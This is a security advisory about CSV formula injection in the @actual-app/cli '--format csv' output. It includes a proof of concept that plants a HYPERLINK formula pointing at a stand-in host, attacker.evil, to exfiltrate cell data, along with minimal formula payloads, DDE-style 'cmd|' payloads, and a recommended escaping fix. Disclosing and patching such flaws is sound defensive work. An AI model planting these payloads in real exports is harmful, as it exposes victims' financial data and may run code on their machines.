@actual-app/cli `--format csv` Output Vulnerable to CSV Formula Injection via Custom `escapeCsv` Helper

Summary

@actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts (used whenever the global --format csv option is passed) whose escapeCsv helper only handles RFC 4180 delimiter/quote/newline escaping. It does not neutralize the standard CSV formula-injection prefixes (=, +, -, @, \t, \r). Any CLI command that streams an object array containing user-controlled strings — transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, query — will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (=HYPERLINK(...), =WEBSERVICE(...)) and arbitrary formula execution.

This is a distinct variant of the formula-injection surface in packages/loot-core/src/server/transactions/export/export-to-csv.ts (which uses csv-stringify and would need a separate cast option fix) — they are different files, different packages, and different serializers. Fixing one does not fix the other.

Details

Vulnerable code

packages/cli/src/output.ts:98-103:

function escapeCsv(value: string): string {
  if (value.includes(',') || value.includes('"') || value.includes('\n')) {
    return '"' + value.replace(/"/g, '""') + '"';
  }
  return value;
}

The helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 *parsing* but irrelevant to spreadsheet *formula evaluation*. CSV double-quoting is invisible to Excel/Calc/Sheets — the unquoted cell value =HYPERLINK("http://attacker/?d="&B2,"Click") is still parsed as a formula by the spreadsheet, even when wrapped as "=HYPERLINK(""http://attacker/?d=""&B2,""Click"")" on disk.

Data flow to the sink

1. The global --format option is registered at packages/cli/src/index.ts:53-57 with choices(['json','table','csv']) and applies to every subcommand. 2. List/query subcommands invoke printOutput(data, format) (output.ts:105-107), which routes format === 'csv' to formatCsv (output.ts:71-96). 3. For each row, every column is run through formatCellValue (output.ts:21-26): ``ts function formatCellValue(key: string, value: unknown): string { if (isAmountValue(key, value)) { return (value / 100).toFixed(2); } return String(value ?? ''); } ``

Only the fixed AMOUNT_FIELDS set (amount, balance, budgeted, etc.) gets numeric coercion. User-controlled string fields — payee.name, account.name, category.name, notes, tag names, rule descriptions, schedule names — are passed verbatim to escapeCsv. 4. escapeCsv returns the value unmodified unless it contains ,, ", or \n. A payload such as =1+1, @SUM(...), +1+cmd|'/c calc'!A0, or -2+3+cmd|'/c calc'!A0 therefore lands in the output as a leading-character formula.

Exploitability conditions

• The CLI is installed and used by the victim (@actual-app/cli is published with "bin": { "actual": "./dist/cli.js", "actual-cli": "./dist/cli.js" }).
• The attacker can persist a malicious string in any user-controlled field of the budget. Realistic vectors:
• Co-user / co-collaborator of a synced budget (multi-device, or attacker-controlled sync server).
• Sending the victim a crafted OFX/QIF/CSV import file.
• API write access (e.g., over a compromised sync session).
• The victim runs actual --format csv > out.csv and opens out.csv in a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately.

There are no mitigations in the code path: no allowlist, no sanitizer, no cast option, no warning, and the CLI is shipped to end users via npm.

PoC

Setup (one-time — choose any user-controlled field; payee shown):

# Inject via the CLI's own write path (or via OFX/QIF/CSV import, or shared sync):
actual transactions add \
  --account "$ACCOUNT_ID" \
  --data '[{"payee_name":"=HYPERLINK(\"http://attacker.evil/leak?d=\"&B2,\"Bank refund\")","date":"2026-01-01","amount":10000}]'

Trigger (victim runs):

actual transactions list --account "$ACCOUNT_ID" --start 2026-01-01 --end 2026-12-31 --format csv > out.csv
cat out.csv

Observed output (abridged; quoting is RFC 4180-correct but the formula prefix is preserved):

id,date,amount,payee,notes,category,account,cleared,reconciled
abc...,2026-01-01,100.00,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2,""Bank refund"")",,,Checking,false,false

Open out.csv in Excel / LibreOffice Calc / Google Sheets → the payee cell renders as a clickable hyperlink that, when clicked (or auto-fetched in some configurations), exfiltrates neighboring cell content (B2 = the date, but trivially adjustable to any cell) to the attacker.

Minimal-payload variants that bypass escapeCsv entirely (no ,, ", or \n → no quoting at all):

• Payee name =1+1 → cell shows 2.
• Payee name @SUM(1+1) → cell shows 2.
• Payee name +1+1 → cell shows 2.
• Payee name -2+3 → cell shows 1.

The same applies to other list commands sharing the global --format option:

actual accounts list   --format csv      # account.name
actual payees   list   --format csv      # payee.name
actual categories list --format csv      # category.name
actual tags list       --format csv
actual category-groups list --format csv
actual rules list      --format csv
actual schedules list  --format csv
actual query "..."     --format csv

Verified by reading escapeCsv (packages/cli/src/output.ts:98-103): the only escape triggers are ,, ", \n, and even when triggered the leading character is preserved.

Impact

• Data exfiltration in the victim's spreadsheet context via =HYPERLINK(...), =WEBSERVICE(...), =IMPORTXML(...) (Sheets), =IMPORTDATA(...) (Sheets) — typically one click for HYPERLINK, fully automatic for WEBSERVICE/IMPORT* on confirmation. Victim's financial data (account names, balances, transactions in adjacent cells) is the natural exfil target.
• Arbitrary formula execution in the victim's spreadsheet context, including legacy DDE-style payloads on outdated Excel installations (potential RCE).
• Trust-boundary crossing: financial data the victim assumes is "exported" becomes attacker-controlled active content. The CLI is the victim's own trusted tool; users do not expect actual transactions list --format csv to produce a file that runs code.

Blast radius is bounded by the requirement that the attacker plant a string in a user-controlled field and the victim opens the CSV in a spreadsheet — but both are realistic for a personal-finance app whose primary export workflow is "open in Excel".

Recommended

Fix

Neutralize formula-trigger prefixes in escapeCsv *before* the existing RFC 4180 quoting. Example:

// packages/cli/src/output.ts
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;

function escapeCsv(value: string): string {
  // Neutralize spreadsheet formula prefixes (CWE-1236).
  if (FORMULA_TRIGGERS.test(value)) {
    value = "'" + value;
  }
  if (value.includes(',') || value.includes('"') || value.includes('\n')) {
    return '"' + value.replace(/"/g, '""') + '"';
  }
  return value;
}

The leading single-quote is the OWASP-recommended neutralizer: it is stripped by Excel/Calc on display but prevents formula evaluation. Apply the same fix in packages/loot-core/src/server/transactions/export/export-to-csv.ts by passing a cast option to csv-stringify that prepends ' to any string starting with a formula trigger — the two sites are independent and both must be patched.